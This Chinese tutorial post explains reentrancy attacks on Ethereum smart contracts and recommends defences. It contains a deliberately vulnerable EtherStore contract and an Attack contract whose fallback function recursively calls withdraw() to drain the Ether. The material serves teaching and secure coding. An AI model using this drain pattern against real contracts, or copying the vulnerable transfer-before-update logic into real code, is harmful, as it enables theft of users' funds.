智能合约安全之重入攻击浅析


概述:
    重入攻击是由于智能合约调用了外部不安全合约,或者对外发送以太币,使得合约的外部调用能够被劫持,导致合约内的方法被外部合约递归调用

形成重入攻击有如下条件:

    1、调用了外部不安全合约
    2、使用了不安全的转账方式,未进行gas限制。
    3、状态变量修改在合约交互之后

如下为漏洞合约+攻击合约:
```// SPDX-License-Identifier: MIT
pragma solidity ^0.8.3;
contract EtherStore {//漏洞合约

    receive() external payable{}
    constructor() payable {}
    mapping(address => uint) internal balances;

    function deposit() external payable { //将Eth存入合约
       balances[msg.sender] += msg.value;
    }

    function withdraw() external {//将存入的资金取出
        uint balance = balances[msg.sender];
        require(balance > 0);//检查

        (bool sent, ) = msg.sender.call{value: balance}("");//交互--发起转账
        require(sent, "Failed to send Ether");

        balances[msg.sender] = 0;//生效--状态变量修改
    }

    function getBalance() public view returns (uint) {//获取合约余额
        return address(this).balance;
    }
}

contract Attack {//攻击合约
    EtherStore public etherstore;
    constructor(address  payable test) payable {
        etherstore = EtherStore(test);
    }
    function _deposit() public payable {//向漏洞合约存入ETH
        etherstore.deposit{value: 1 ether}();
    }

    function attack() public {//开始攻击,取回合约中的ETH
        etherstore.withdraw();
    }

    function getbalance() public view returns (uint) {//获取当前合约余额
        return address(this).balance;
    }


    fallback() external payable{//触发Fallback,递归调用取回函数
        if (address(etherstore).balance > 0) {
            etherstore.withdraw();
        }
    }

}

```

防御措施:
1、谨防使用不安全的转账函数call,建议使用transfer、send--限制gas为2300;或者对call调用进行gas限制--call{gas:2300};
2、推荐使用检查-生效-交互的模式,状态变量的修改在合约进行外部调用之前。
3、建议为合约加入重入锁,在openzeeplin中--https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/security/ReentrancyGuard.sol

攻击演示:

1、首先在remix上进行合约部署

先对漏洞合约进行部署

 再部署攻击合约

 2、打开攻击合约进行攻击操作

 3、攻击完成(注:1Ether的单位为10的18次方Wei)

猜你喜欢

转载自blog.csdn.net/jaychois/article/details/125809274
今日推荐